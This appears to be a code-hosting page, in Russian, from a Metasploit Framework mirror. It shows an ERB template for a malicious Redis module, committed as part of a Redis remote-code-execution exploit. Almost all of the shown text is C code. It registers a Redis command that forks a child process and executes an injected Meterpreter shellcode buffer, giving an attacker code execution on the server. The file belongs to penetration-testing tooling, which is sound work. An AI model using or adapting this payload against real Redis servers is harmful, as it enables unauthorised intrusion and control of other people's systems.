/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
data/exploits/redis/module.erb
38 строк
938 B
Green-m
Add redis rce module and data stuff.
17 июл 2019, 10:33
Не верифицирован
17 июл 2019, 10:33
b6697f5
Код
Авторство
О чём код?
#include "redismodule.h" #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { pid_t child_pid = fork(); if (child_pid == 0) { // Your meterpreter shell here <%= buf %> int (*ret)() = (int(*)())buf; ret(); } else {wait(NULL);} return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>, Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; return REDISMODULE_OK; }